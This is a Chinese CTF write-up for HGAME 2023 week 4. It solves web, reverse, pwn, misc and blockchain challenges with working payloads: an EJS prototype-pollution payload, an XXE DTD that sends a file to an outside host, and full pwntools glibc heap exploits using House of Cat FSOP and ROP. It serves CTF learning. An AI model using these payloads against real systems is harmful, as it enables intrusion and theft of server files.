HGAME 2023 week4 writeup by 没有头猪

web

Shared Diary

merge函数中显然可以原型链污染，ban掉了`__proto__`可以`constructor.prototype`进行污染。找个ejs能用的payload即可

```
{
"constructor":{
"prototype":{
"client": "true",
"escapeFunction":"1;return
process.mainModule.require('fs').readFileSync('/flag').toString()//"
}}
}
```

Tell Me

注意到代码中的

```
libxml_disable_entity_loader(false);
```

可以XML实体盲注，服务器端

```
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///var/www/html/flag.php">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://exp.zqy.ink?file=%file;'>">
```

payload

```
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://your_vps/xxe.dtd">
%remote;
%all;
%send;
]>
```

其中flag.php存储的位置是通过第一次路径错误PHP提供的warning得到的

reverse

vm

分析得代码第一字节00-07对应的8种指令

op0: mov

op1: push

op2: pop

op3: 算术运算

op4: cmp

op5: jmp

op6: je

op7: jne

0xFF: 停机

写出汇编伪代码

```
start:
    mov ecx, 0
    add ecx, edx
    mov eax, [ecx]
    mov ebx, eax
    mov ecx, 32h
    add ecx, edx
    mov eax, [ecx]
    add ebx, eax
    mov ecx, 64h
    add ecx, edx
    mov eax, [ecx]
    xor ebx, eax
    mov eax, 8
    mov ecx, ebx
    shl ebx, eax
    and ebx, ff00h
    shr ecx, eax
    add ebx, ecx
    mov eax, ebx
    push eax
    mov eax, 1
    add edx, eax
    mov eax, edx
    mov ebx, 28h
    cmp eax, ebx
    jne start
    mov edx, 0
label:
    pop ebx
    mov ecx, 96h
    add ecx, edx
    mov eax, [ecx]
    cmp eax, ebx
```

```
    jne exit
    mov eax, 1
    add edx, eax
    mov eax, edx
    mov ebx, 28h
    cmp eax, ebx
    jne label
exit:
    break
```

分析逻辑得解密代码

```
#include<stdio.h>
#include<stdint.h>
unsigned char text[] =
{
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x9B, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x00, 0x00, 0x02, 0x00,
  0x00, 0x00, 0xBC, 0x00, 0x00, 0x00, 0xAC, 0x00, 0x00, 0x00,
  0x9C, 0x00, 0x00, 0x00, 0xCE, 0x00, 0x00, 0x00, 0xFA, 0x00,
  0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xB9, 0x00, 0x00, 0x00,
  0xFF, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, 0x00, 0x74, 0x00,
  0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00,
  0x69, 0x00, 0x00, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x03, 0x00,
  0x00, 0x00, 0xCB, 0x00, 0x00, 0x00, 0xC9, 0x00, 0x00, 0x00,
  0xFF, 0x00, 0x00, 0x00, 0xFC, 0x00, 0x00, 0x00, 0x80, 0x00,
  0x00, 0x00, 0xD6, 0x00, 0x00, 0x00, 0x8D, 0x00, 0x00, 0x00,
  0xD7, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0xA7, 0x00, 0x00, 0x00, 0x1D, 0x00, 0x00, 0x00,
  0x3D, 0x00, 0x00, 0x00, 0x99, 0x00, 0x00, 0x00, 0x88, 0x00,
  0x00, 0x00, 0x99, 0x00, 0x00, 0x00, 0xBF, 0x00, 0x00, 0x00,
  0xE8, 0x00, 0x00, 0x00, 0x96, 0x00, 0x00, 0x00, 0x2E, 0x00,
  0x00, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
```

```
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xC9, 0x00, 0x00, 0x00, 0xA9, 0x00, 0x00, 0x00, 0xBD, 0x00,
  0x00, 0x00, 0x8B, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00,
  0xC2, 0x00, 0x00, 0x00, 0x6E, 0x00, 0x00, 0x00, 0xF8, 0x00,
  0x00, 0x00, 0xF5, 0x00, 0x00, 0x00, 0x6E, 0x00, 0x00, 0x00,
  0x63, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0xD5, 0x00,
  0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x5D, 0x00, 0x00, 0x00,
  0x16, 0x00, 0x00, 0x00, 0x98, 0x00, 0x00, 0x00, 0x38, 0x00,
  0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x73, 0x00, 0x00, 0x00,
  0x38, 0x00, 0x00, 0x00, 0xC1, 0x00, 0x00, 0x00, 0x5E, 0x00,
  0x00, 0x00, 0xED, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00,
  0x29, 0x00, 0x00, 0x00, 0x5A, 0x00, 0x00, 0x00, 0x18, 0x00,
  0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0xA7, 0x00, 0x00, 0x00,
  0xFD, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x1E, 0x00,
  0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x8B, 0x00, 0x00, 0x00,
  0x62, 0x00, 0x00, 0x00, 0xDB, 0x00, 0x00, 0x00, 0x0F, 0x00,
  0x00, 0x00, 0x8F, 0x00, 0x00, 0x00, 0x9C, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x48, 0x00, 0x00, 0x00, 0xF1, 0x00, 0x00, 0x00, 0x40,
  0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x01, 0x35, 0x00, 0x00,
  0x00, 0x64, 0x00, 0x00, 0x01, 0x78, 0x00, 0x00, 0x00, 0xF9,
  0x00, 0x00, 0x01, 0x18, 0x00, 0x00, 0x00, 0x52, 0x00, 0x00,
  0x00, 0x25, 0x00, 0x00, 0x01, 0x5D, 0x00, 0x00, 0x00, 0x47,
  0x00, 0x00, 0x00, 0xFD, 0x00, 0x00, 0x01, 0x69, 0x00, 0x00,
  0x00, 0x5C, 0x00, 0x00, 0x01, 0xAF, 0x00, 0x00, 0x00, 0xB2,
  0x00, 0x00, 0x01, 0xEC, 0x00, 0x00, 0x01, 0x52, 0x00, 0x00,
  0x01, 0x4F, 0x00, 0x00, 0x01, 0x1A, 0x00, 0x00, 0x00, 0x50,
  0x00, 0x00, 0x01, 0x85, 0x00, 0x00, 0x00, 0xCD, 0x00, 0x00,
  0x00, 0x23, 0x00, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, 0x0C,
  0x00, 0x00, 0x00, 0xCF, 0x00, 0x00, 0x01, 0x3D, 0x00, 0x00,
  0x01, 0x45, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x01, 0xD2,
  0x00, 0x00, 0x01, 0x29, 0x00, 0x00, 0x01, 0xD5, 0x00, 0x00,
  0x01, 0x06, 0x00, 0x00, 0x01, 0xA2, 0x00, 0x00, 0x00, 0xDE,
  0x00, 0x00, 0x01, 0xA6, 0x00, 0x00, 0x01, 0xCA, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
int main(){
    uint32_t* data = (uint32_t*) text;
    uint32_t enc[0x28];
    for(int i=0x96+0x28-1,j=0;i>=0x96;i--,j++){
        enc[j]=data[i];
        enc[j]=(enc[j]<<8)|(enc[j]>>8);
    }
    for(int i=0x64,j=0;i<0x64+0x28;i++,j++){
        enc[j]^=data[i];
    }
    for(int i=0x32,j=0;i<0x32+0x28;i++,j++){
        enc[j]-=data[i];
```

```
    }
    for(int i=0;i<0x28;i++){
        printf("%c",enc[i]);
    }

}
```

shellcode

程序执行一段以base64编码的shellcode，dump出shellcode发现是个tea加密，正常解密即可

```
#include <stdio.h>
#define uint32_t unsigned int
void decrypt (uint32_t* v, uint32_t* k) {
        uint32_t v0=v[0], v1=v[1],  i; /* set up */
        uint32_t delta=0xabcdef23,sum=delta*0x20; /* a key schedule constant */
        uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
        for (i=0; i<0x20; i++) { /* basic cycle start */
                v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
                v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
                sum -= delta;
        } /* end cycle */
        v[0]=v0; v[1]=v1;
}

int main()
{
        unsigned char a[] = {
0x20,0x69,0xb3,0xe4,0xd0,0x24,0x69,0x93,0x44,0xd1,0x16,0xa8,0xf5,0xd5,0x82,0xaa,0
xda,0xf0,0x79,0x36,0x6,0xfd,0x32,0x7f,0xd3,0xc0,0x60,0x34,0x39,0x49,0x21,0xb7,0xa
2,0x69,0x72,0xe5,0xfa,0x51,0x6a,0x83};
        uint32_t k[4]={22,33,44,55};
        for(int i=0;i<40;i+=8){
                uint32_t v[2]={*(uint32_t*)&a[i], *(uint32_t*)&a[i+4]};
                decrypt(v,k);
                unsigned char* chars = (unsigned char*)v;
                for(int i=0;i<8;i++){
                        printf("%c",chars[i]);
                }

        }
        return 0;
}
```

pwn

without_hook

glibc 2.36，直接套week3的exp了所以做麻烦了。large bin attack覆写mp_.tcache_bins实现任意地址写后FSOP，链子是House of Cat。（事后看来直接large bin attack打`_IO_list_all`应该就行了）

```
from pwn import *
context(arch='amd64',os='linux')
#p=process('./vuln')
p=connect('week-4.hgame.lwsec.cn',30070)
elf=ELF('./vuln')
libc=ELF('./libc.so.6')

def add(idx, size, content=b''):
    p.sendlineafter(b'>',b'1')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendlineafter(b'Size: ',str(size).encode())
    if content!=b'':
        edit(idx,content)

def edit(idx, content=b''):
    p.sendlineafter(b'>',b'3')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendafter(b'Content: ',content if content!=b'' else b'a')

def delete(idx):
    p.sendlineafter(b'>',b'2')
    p.sendlineafter(b'Index: ',str(idx).encode())

def show(idx):
    p.sendlineafter(b'>',b'4')
    p.sendlineafter(b'Index: ',str(idx).encode())



add(0,0x800)
add(15,0x900)
add(1,0x7f0)
delete(0)
show(0)
libc_base=u64(p.recv(6)+b'\x00\x00')-2059456

add(2,0x820)
show(0)
fd=u64(p.recv(6)+b'\x00\x00')
info('fd:'+hex(fd))
edit(0,b'a'*16)
show(0)
p.recvuntil(b'a'*16)
heap5=u64(p.recv(6)+b'\x00\x00')+12992
heap4=heap5-2320
heap3=heap5-4448
heap_base=heap5-0x3550
edit(0,p64(fd)*2)
info('libc_base:'+hex(libc_base))
libc.address=libc_base
```

```
tcache_bins=libc_base+0x1f63a8
_IO_list_all=libc_base+0x1f7660

edit(0, p64(0)*3+p64(tcache_bins-0x20))
delete(1)

add(3,0x840,b'/bin/sh\x00')
add(4,0x900)
add(5,0x900)
add(15,0x900)
delete(4)
delete(5)
edit(5,p64((heap5>>12)^_IO_list_all))

add(6,0x900)
add(7,0x900,p64(heap5))

pop_rdi=libc_base+0x23ba5
pop_rsi=libc_base+0x251fe
pop_rdx_rbx=libc_base+0x8bbb9
pop_r12_r13_r14_r15=libc_base+0x23b9e
roppayload=p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(0x8000)+p64(pop_rdx_rbx)+
p64(7)+p64(0)+p64(libc.sym['mprotect'])+p64(heap3+0x200)
orw=b'\xb8flagPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011
\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xff\xc71\xc0\xfe\xc0\x0f\x05'
payload=flat({
    0xa0:heap3+0x138,
    0xa8:p64(pop_rdi),
    0x130:roppayload,
    0x200:orw
})

call_addr=libc_base+0x41b1d
fake_io_addr=heap5 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(heap5)          #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(heap3)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libc_base+0x1f30a0+0x30)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr


edit(5,fake_IO_FILE)
```

```
edit(3,payload)
delete(3)
p.interactive()
```

4nswer's gift

在malloc比较大的空间时，内存空间是mmap得到的，跟libc的偏移是固定可计算的。gift是把分配到的内存地址覆盖`_IO_list_all`。House of Cat

```
from pwn import *
context(arch='amd64',os='linux')
#p=process('./vuln')
p=connect('week-4.hgame.lwsec.cn',31604)
elf=ELF('./vuln')
libc=ELF('./libc.so.6')

p.recvuntil(b'like this: ')
_IO_list_all=int(p.recv(14),16)
libc_base=_IO_list_all-2061920
info(hex(libc_base))
libc.address=libc_base
p.sendlineafter(b'gift?\n',b'1048576')
heap_base=libc_base-1064960
heap5=heap_base+0x10
heap3=heap_base+0x200

pop_rdi=libc_base+0x23ba5
pop_rsi=libc_base+0x251fe
pop_rdx_rbx=libc_base+0x8bbb9
pop_r12_r13_r14_r15=libc_base+0x23b9e
roppayload=p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(0x8000)+p64(pop_rdx_rbx)+
p64(7)+p64(0)+p64(libc.sym['mprotect'])+p64(heap3+0x200)
orw=b'\xb8flagPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011
\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xff\xc71\xc0\xfe\xc0\x0f\x05'
payload=flat({
    0xa0:heap3+0x138,
    0xa8:p64(pop_rdi),
    0x130:roppayload,
    0x200:orw
})

call_addr=libc_base+0x41b1d
fake_io_addr=heap5 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(heap5)          #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(heap3)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
```

```
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libc_base+0x1f30a0+0x30)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr
#fake_IO_FILE.rjust(0x200,b'\x00')

buf=flat({
    0:fake_IO_FILE,
    0x1f0:payload
})

p.sendafter(b'gitf?\n',buf)
p.interactive()
```

crypto

LLLCG

题目数据有问题，直接long_to_bytes(list[1]//list[0])

misc

ezWin

```
python vol.py -f ..\..\HGAME2023\week4\misc\ezWin\win10_22h2_19045.2486.vmem
windows.envars.Envars | findstr "hgame"

python vol.py -f ..\..\HGAME2023\week4\misc\ezWin\win10_22h2_19045.2486.vmem
windows.hashdump

python vol.py -f ..\..\HGAME2023\week4\misc\ezWin\win10_22h2_19045.2486.vmem
windows.pslist
```

得到7zFM.exe的pid 7584

```
python vol.py -o ./dump -f
..\..\HGAME2023\week4\misc\ezWin\win10_22h2_19045.2486.vmem windows.dumpfiles --
pid=7584
```

得到file.0xd00641b5ba70.0xd00641180e30.DataSectionObject.flag.7z.dat

按7z格式打开，密码把刚才得到的nthash扔进https://www.cmd5.com/ 就是了

blockchain

需要计算最后部署的chall合约地址。deployer部署Transfer2合约是create，Transfer2合约部署chall合约是create2，算一下就行

```
contract Hacker{
    function addressFromCreate(address _origin, uint _nonce) public pure returns
(address) {
```

```
        bytes memory data;
        if (_nonce == 0x00)          data = abi.encodePacked(bytes1(0xd6),
bytes1(0x94), _origin, bytes1(0x80));
        else if (_nonce <= 0x7f)     data = abi.encodePacked(bytes1(0xd6),
bytes1(0x94), _origin, uint8(_nonce));
        else if (_nonce <= 0xff)     data = abi.encodePacked(bytes1(0xd7),
bytes1(0x94), _origin, bytes1(0x81), uint8(_nonce));
        else if (_nonce <= 0xffff)   data = abi.encodePacked(bytes1(0xd8),
bytes1(0x94), _origin, bytes1(0x82), uint16(_nonce));
        else if (_nonce <= 0xffffff) data = abi.encodePacked(bytes1(0xd9),
bytes1(0x94), _origin, bytes1(0x83), uint24(_nonce));
        else                         data = abi.encodePacked(bytes1(0xda),
bytes1(0x94), _origin, bytes1(0x84), uint32(_nonce));
        return address(uint160(uint256(keccak256(data))));
    }
    function addressFromCreate2(address _origin, bytes32 _salt, bytes memory
_code) public pure returns (address) {
        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff),
address(_origin), _salt, keccak256(_code))))));
    }
    function hack(address deployer) public{
        address contractAddr=addressFromCreate(deployer, 0);
        bytes memory code =
"`\x80`@R4\x80\x15`\x0fW`\x00\x80\xfd[Pg\x06\xf0[Y\xd3\xb2\x00\x00G\x10`,W`\x00\x
80T`\xff\x19\x16`\x01\x17\x90U[`\x83\x80a\x00:`\x009`\x00\xf3\xfe`\x80`@R4\x80\x1
5`\x0fW`\x00\x80\xfd[P`\x046\x10`(W`\x005`\xe0\x1c\x80c\x89\x0e\xbah\x14`-
W[`\x00\x80\xfd[`\x00T`9\x90`\xff\x16\x81V[`@Q\x90\x15\x15\x81R`
\x01`@Q\x80\x91\x03\x90\xf3\xfe\xa2dipfsX\"\x12
\xc0\xaf\xce:x\xfc\xc6\x0f\xe5\xcb\x04-\xb9\xc8\xca\xe1\x0edk?
\xcd/\x90_\xa1%\x14^\xeb\xdf\x04\x98dsolcC\x00\x08\x11\x003";
        address challAddr=addressFromCreate2(contractAddr, keccak256("HGAME
2023"), code);
        selfdestruct(payable(challAddr));
    }
    constructor() payable{}
}
```